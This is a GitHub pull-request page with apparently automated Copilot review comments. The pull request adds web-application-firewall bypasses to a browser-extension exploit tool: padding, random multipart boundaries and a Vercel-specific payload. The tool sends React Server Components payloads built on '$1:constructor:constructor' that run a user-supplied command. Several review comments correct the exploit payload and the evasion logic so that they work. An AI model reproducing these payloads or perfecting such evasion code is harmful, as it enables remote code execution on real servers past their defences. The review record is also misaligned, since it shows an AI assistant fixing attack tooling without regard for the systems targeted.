Conversation
Artoria2e5
commented
Dec 7, 2025
- Add padding-based WAF
- Add $3 Vercel WAF bypass
- Add inputs for bypass options
- Make form boundary dynamic
There was a problem hiding this comment.
Pull request overview
This PR adds WAF bypass capabilities to the RSC Security Tool based on techniques from assetnote's react2shell-scanner, including padding-based bypass and Vercel-specific WAF bypass using the $3 reference pattern.
Key changes:
- Added UI inputs (padding size, Vercel bypass checkbox) for configuring WAF bypass options
- Implemented dynamic form boundary generation and padding injection to evade WAF detection
- Added support for Vercel WAF bypass using the
$3payload variant
Reviewed changes
Copilot reviewed 5 out of 5 changed files in this pull request and generated 11 comments.
Show a summary per file
| File | Description |
|---|---|
| popup.js | Added input handling for padding and Vercel bypass parameters |
| popup.html | Added form inputs (padding size, Vercel checkbox) with table-based layout |
| content.js | Implemented WAF bypass logic with helper functions for random strings and form construction |
| README.md | Documented new WAF bypass features in English |
| README_cn.md | Documented new WAF bypass features in Chinese |
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
content.js
Outdated
| ].join('\r\n'); | ||
| ] | ||
| if (bypassVercel) { | ||
| bodyparts += [ |
There was a problem hiding this comment.
Variable name typo: bodyparts should be form to match the variable declared on line 69. This will cause a ReferenceError at runtime.
| bodyparts += [ | |
| form += [ |
popup.html
Outdated
| <th><label for="cmdInput" title="Command">CMD</label> | ||
| <td><input type="text" id="cmdInput" placeholder="Command (echo vulnerability_test)" value="echo vulnerability_test"> | ||
| </tr> | ||
| <tr> | ||
| <th><label for="padInput" title="Anti-WAF padding (kb)">Pad</label> | ||
| <td><input type="number" id="padInput" placeholder="Anti-WAF padding (kb)" value="128"> kb | ||
| </tr> | ||
| <tr> | ||
| <th><label for="vercelInput" title="Bypass Vercel WAF">Vercel</label> | ||
| <td><input style="flex:1" type="checkbox" id="vercelInput" value="false"> |
There was a problem hiding this comment.
Missing closing tags for <th> and <td> elements. HTML tags should be properly closed for valid markup.
Should be:
<th><label for="vercelInput" title="Bypass Vercel WAF">Vercel</label></th>
<td><input style="flex:1" type="checkbox" id="vercelInput" value="false"></td>| <th><label for="cmdInput" title="Command">CMD</label> | |
| <td><input type="text" id="cmdInput" placeholder="Command (echo vulnerability_test)" value="echo vulnerability_test"> | |
| </tr> | |
| <tr> | |
| <th><label for="padInput" title="Anti-WAF padding (kb)">Pad</label> | |
| <td><input type="number" id="padInput" placeholder="Anti-WAF padding (kb)" value="128"> kb | |
| </tr> | |
| <tr> | |
| <th><label for="vercelInput" title="Bypass Vercel WAF">Vercel</label> | |
| <td><input style="flex:1" type="checkbox" id="vercelInput" value="false"> | |
| <th><label for="cmdInput" title="Command">CMD</label></th> | |
| <td><input type="text" id="cmdInput" placeholder="Command (echo vulnerability_test)" value="echo vulnerability_test"></td> | |
| </tr> | |
| <tr> | |
| <th><label for="padInput" title="Anti-WAF padding (kb)">Pad</label></th> | |
| <td><input type="number" id="padInput" placeholder="Anti-WAF padding (kb)" value="128"> kb</td> | |
| </tr> | |
| <tr> | |
| <th><label for="vercelInput" title="Bypass Vercel WAF">Vercel</label></th> | |
| <td><input style="flex:1" type="checkbox" id="vercelInput" value="false"></td> |
popup.html
Outdated
| .btn-scan:hover { background: #2980b9; } | ||
|
|
||
| .btn-exploit { background: #e74c3c; border-radius: 0 4px 4px 0; padding: 0 15px; } | ||
| .btn-exploit { background: #e74c3c; border-radius: 0 4px 4px 0; padding: 0 15px 0 15px; } |
There was a problem hiding this comment.
[nitpick] Redundant padding specification 0 15px 0 15px can be simplified to 0 15px since the horizontal padding values are identical.
| .btn-exploit { background: #e74c3c; border-radius: 0 4px 4px 0; padding: 0 15px 0 15px; } | |
| .btn-exploit { background: #e74c3c; border-radius: 0 4px 4px 0; padding: 0 15px; } |
| const boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"; | ||
| const bodyParts = [ | ||
| // pad, vercel WAF bypass 逻辑来自 https://github.com/assetnote/react2shell-scanner | ||
| const formData = bypassVercel ? '"get":"$3:\\"$$:constructor:constructor"}' : '{"get":"$1:constructor:constructor"}'; |
There was a problem hiding this comment.
The formData variable for the Vercel bypass case has incorrect JSON escaping. The value '"get":"$3:\"$$:constructor:constructor"}' will result in invalid JSON because the opening brace is missing. Should be:
const formData = bypassVercel ? '{"get":"$3:\\"$$:constructor:constructor"}' : '{"get":"$1:constructor:constructor"}';| const formData = bypassVercel ? '"get":"$3:\\"$$:constructor:constructor"}' : '{"get":"$1:constructor:constructor"}'; | |
| const formData = bypassVercel ? '{"get":"$3:\\"$$:constructor:constructor"}' : '{"get":"$1:constructor:constructor"}'; |
content.js
Outdated
| bodyparts += [ | ||
| 'Content-Disposition: form-data; name="3"', | ||
| '', | ||
| '{{"\\"\u0024\u0024":{{}}}}', |
There was a problem hiding this comment.
The Vercel bypass payload has incorrect JSON escaping and structure. The double braces {{ are not valid JSON syntax. Based on the assetnote reference, this should likely be:
'{"\\"\\u0024\\u0024":{}}'Please verify the correct payload format from the assetnote/react2shell-scanner reference.
| '{{"\\"\u0024\u0024":{{}}}}', | |
| '{"\\"\\u0024\\u0024":{}}', |
content.js
Outdated
| if (bypassVercel) { | ||
| bodyparts += [ | ||
| 'Content-Disposition: form-data; name="3"', | ||
| '', | ||
| '{{"\\"\u0024\u0024":{{}}}}', | ||
| `--${boundary}`, | ||
| ] |
There was a problem hiding this comment.
The Vercel bypass section has incorrect multipart form structure. When inserted before the final boundary marker (--${boundary}--), this will create an invalid multipart form. The Vercel bypass section should be inserted before line 92 (before the final boundary), and line 100 should use --${boundary} without the trailing --.
popup.html
Outdated
| <th><label for="cmdInput" title="Command">CMD</label> | ||
| <td><input type="text" id="cmdInput" placeholder="Command (echo vulnerability_test)" value="echo vulnerability_test"> | ||
| </tr> | ||
| <tr> | ||
| <th><label for="padInput" title="Anti-WAF padding (kb)">Pad</label> | ||
| <td><input type="number" id="padInput" placeholder="Anti-WAF padding (kb)" value="128"> kb | ||
| </tr> | ||
| <tr> | ||
| <th><label for="vercelInput" title="Bypass Vercel WAF">Vercel</label> | ||
| <td><input style="flex:1" type="checkbox" id="vercelInput" value="false"> |
There was a problem hiding this comment.
Missing closing tags for <th> and <td> elements. HTML tags should be properly closed for valid markup.
Should be:
<th><label for="cmdInput" title="Command">CMD</label></th>
<td><input type="text" id="cmdInput" placeholder="Command (echo vulnerability_test)" value="echo vulnerability_test"></td>| <th><label for="cmdInput" title="Command">CMD</label> | |
| <td><input type="text" id="cmdInput" placeholder="Command (echo vulnerability_test)" value="echo vulnerability_test"> | |
| </tr> | |
| <tr> | |
| <th><label for="padInput" title="Anti-WAF padding (kb)">Pad</label> | |
| <td><input type="number" id="padInput" placeholder="Anti-WAF padding (kb)" value="128"> kb | |
| </tr> | |
| <tr> | |
| <th><label for="vercelInput" title="Bypass Vercel WAF">Vercel</label> | |
| <td><input style="flex:1" type="checkbox" id="vercelInput" value="false"> | |
| <th><label for="cmdInput" title="Command">CMD</label></th> | |
| <td><input type="text" id="cmdInput" placeholder="Command (echo vulnerability_test)" value="echo vulnerability_test"></td> | |
| </tr> | |
| <tr> | |
| <th><label for="padInput" title="Anti-WAF padding (kb)">Pad</label></th> | |
| <td><input type="number" id="padInput" placeholder="Anti-WAF padding (kb)" value="128"> kb</td> | |
| </tr> | |
| <tr> | |
| <th><label for="vercelInput" title="Bypass Vercel WAF">Vercel</label></th> | |
| <td><input style="flex:1" type="checkbox" id="vercelInput" value="false"></td> |
popup.html
Outdated
| <th><label for="cmdInput" title="Command">CMD</label> | ||
| <td><input type="text" id="cmdInput" placeholder="Command (echo vulnerability_test)" value="echo vulnerability_test"> | ||
| </tr> | ||
| <tr> | ||
| <th><label for="padInput" title="Anti-WAF padding (kb)">Pad</label> | ||
| <td><input type="number" id="padInput" placeholder="Anti-WAF padding (kb)" value="128"> kb | ||
| </tr> | ||
| <tr> | ||
| <th><label for="vercelInput" title="Bypass Vercel WAF">Vercel</label> | ||
| <td><input style="flex:1" type="checkbox" id="vercelInput" value="false"> |
There was a problem hiding this comment.
Missing closing tags for <th> and <td> elements. HTML tags should be properly closed for valid markup.
Should be:
<th><label for="padInput" title="Anti-WAF padding (kb)">Pad</label></th>
<td><input type="number" id="padInput" placeholder="Anti-WAF padding (kb)" value="128"> kb</td>| <th><label for="cmdInput" title="Command">CMD</label> | |
| <td><input type="text" id="cmdInput" placeholder="Command (echo vulnerability_test)" value="echo vulnerability_test"> | |
| </tr> | |
| <tr> | |
| <th><label for="padInput" title="Anti-WAF padding (kb)">Pad</label> | |
| <td><input type="number" id="padInput" placeholder="Anti-WAF padding (kb)" value="128"> kb | |
| </tr> | |
| <tr> | |
| <th><label for="vercelInput" title="Bypass Vercel WAF">Vercel</label> | |
| <td><input style="flex:1" type="checkbox" id="vercelInput" value="false"> | |
| <th><label for="cmdInput" title="Command">CMD</label></th> | |
| <td><input type="text" id="cmdInput" placeholder="Command (echo vulnerability_test)" value="echo vulnerability_test"></td> | |
| </tr> | |
| <tr> | |
| <th><label for="padInput" title="Anti-WAF padding (kb)">Pad</label></th> | |
| <td><input type="number" id="padInput" placeholder="Anti-WAF padding (kb)" value="128"> kb</td> | |
| </tr> | |
| <tr> | |
| <th><label for="vercelInput" title="Bypass Vercel WAF">Vercel</label></th> | |
| <td><input style="flex:1" type="checkbox" id="vercelInput" value="false"></td> |
| const pad = +(el.padInput.value) || 0; | ||
| const bypassVercel = el.vercelInput.checked; |
There was a problem hiding this comment.
References to el.padInput and el.vercelInput are used but these elements are not defined in the el object at the top of the file. Add these element references to avoid runtime errors:
const el = {
// ... existing elements
padInput: document.getElementById('padInput'),
vercelInput: document.getElementById('vercelInput')
};
content.js
Outdated
| form += [ | ||
| `--${boundary}`, | ||
| `Content-Disposition: form-data; name="${shortRandString()}"`, | ||
| '', | ||
| longRandString(pad * 1024), | ||
| `--${boundary}`, | ||
| ]; |
There was a problem hiding this comment.
Using += operator to concatenate arrays and an array literal will not work as expected. This will coerce the array to a string and concatenate it with a new array, resulting in invalid data. Use .push(...array) or the spread operator instead.
For example:
form.push(
`--${boundary}`,
`Content-Disposition: form-data; name="${shortRandString()}"`,
'',
longRandString(pad * 1024),
`--${boundary}`
);| form += [ | |
| `--${boundary}`, | |
| `Content-Disposition: form-data; name="${shortRandString()}"`, | |
| '', | |
| longRandString(pad * 1024), | |
| `--${boundary}`, | |
| ]; | |
| form.push( | |
| `--${boundary}`, | |
| `Content-Disposition: form-data; name="${shortRandString()}"`, | |
| '', | |
| longRandString(pad * 1024), | |
| `--${boundary}` | |
| ); |
* Add padding-based WAF * Add $3 Vercel WAF bypass * Add inputs for bypass options * Make form boundary dynamic
There was a problem hiding this comment.
Pull request overview
Copilot reviewed 5 out of 5 changed files in this pull request and generated 5 comments.
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
| return Math.random().toString(36).substring(2).padEnd(12, '0'); | ||
| } | ||
|
|
||
| // 随机的base64长字符串,长度为 bytes 字符 |
There was a problem hiding this comment.
The comment contains incorrect Chinese characters. "随机的base64长字符串,长度为 bytes 字符" should be "随机的base64长字符串,长度为 bytes 字节" since bytes refers to byte length, not character length.
| // 随机的base64长字符串,长度为 bytes 字符 | |
| // 随机的base64长字符串,长度为 bytes 字节 |
| .input-group { display: flex; margin-bottom: 8px; } | ||
| input[type="text"] { flex: 1; padding: 6px; border: 1px solid #bdc3c7; border-radius: 4px 0 0 4px; font-family: monospace; font-size: 11px; outline: none; } | ||
| input[type="text"]:focus { border-color: #3498db; } | ||
| td > input { padding: 6px; border: 1px solid #bdc3c7; border-radius: 4px 0 0 4px; font-family: monospace; font-size: 11px; outline: none; } |
There was a problem hiding this comment.
The CSS selector change from input[type="text"] to td > input is too broad and will now apply these styles to all input types within table cells, including the number input and checkbox. This could cause unintended styling. Consider using a more specific selector:
td > input[type="text"], td > input[type="number"] { padding: 6px; border: 1px solid #bdc3c7; border-radius: 4px 0 0 4px; font-family: monospace; font-size: 11px; outline: none; }| td > input { padding: 6px; border: 1px solid #bdc3c7; border-radius: 4px 0 0 4px; font-family: monospace; font-size: 11px; outline: none; } | |
| td > input[type="text"], td > input[type="number"] { padding: 6px; border: 1px solid #bdc3c7; border-radius: 4px 0 0 4px; font-family: monospace; font-size: 11px; outline: none; } |
| // 随机的base64长字符串,长度为 bytes 字符 | ||
| function longRandString(bytes) { | ||
| const length = bytes; | ||
| const buf = new Uint8Array((length * 3 + 2) / 4); // Base64 编码后长度是原来的 4/3 |
There was a problem hiding this comment.
The longRandString function has an incorrect calculation for the buffer size. The formula (length * 3 + 2) / 4 is attempting to reverse the Base64 encoding ratio, but this will create a buffer that's too small. For a desired Base64 output of length characters, you need:
const buf = new Uint8Array(Math.ceil((length * 3) / 4));However, the current implementation will likely fail or produce incorrect lengths because the buffer is undersized.
| const buf = new Uint8Array((length * 3 + 2) / 4); // Base64 编码后长度是原来的 4/3 | |
| const buf = new Uint8Array(Math.ceil((length * 3) / 4)); // Base64 编码后长度是原来的 4/3 |
| <table style="flex: 4"> | ||
| <tr> | ||
| <th><label for="cmdInput" title="Command">CMD</label></th> | ||
| <td><input type="text" id="cmdInput" placeholder="Command (echo vulnerability_test)" value="echo vulnerability_test"></td> | ||
| </tr> | ||
| <tr> | ||
| <th><label for="padInput" title="Anti-WAF padding (kb)">Pad</label></th> | ||
| <td><input type="number" id="padInput" placeholder="Anti-WAF padding (kb)" value="128"> kb</td> | ||
| </tr> | ||
| <tr> | ||
| <th><label for="vercelInput" title="Bypass Vercel WAF">Vercel</label></th> | ||
| <td><input style="flex:1" type="checkbox" id="vercelInput" value="false"></td> | ||
| </tr> | ||
| </table> | ||
| <button id="btnExploit" class="btn-exploit" style="flex: 1">EXEC</button> |
There was a problem hiding this comment.
[nitpick] Inline styles on structural elements reduce maintainability. The style="flex: 4" and style="flex: 1" attributes should be moved to CSS classes for better separation of concerns and maintainability.
|
|
||
| // 12字符[a-z0-9] | ||
| function shortRandString() { | ||
| return Math.random().toString(36).substring(2).padEnd(12, '0'); |
There was a problem hiding this comment.
The shortRandString function may not always return exactly 12 characters. The Math.random().toString(36).substring(2) produces a variable-length string (typically 10-11 characters), and padEnd(12, '0') only pads if it's shorter. However, if the random string is already 12+ characters (rare but possible), it won't be truncated. Consider adding .slice(0, 12) to ensure exactly 12 characters:
return Math.random().toString(36).substring(2).padEnd(12, '0').slice(0, 12);| return Math.random().toString(36).substring(2).padEnd(12, '0'); | |
| return Math.random().toString(36).substring(2).padEnd(12, '0').slice(0, 12); |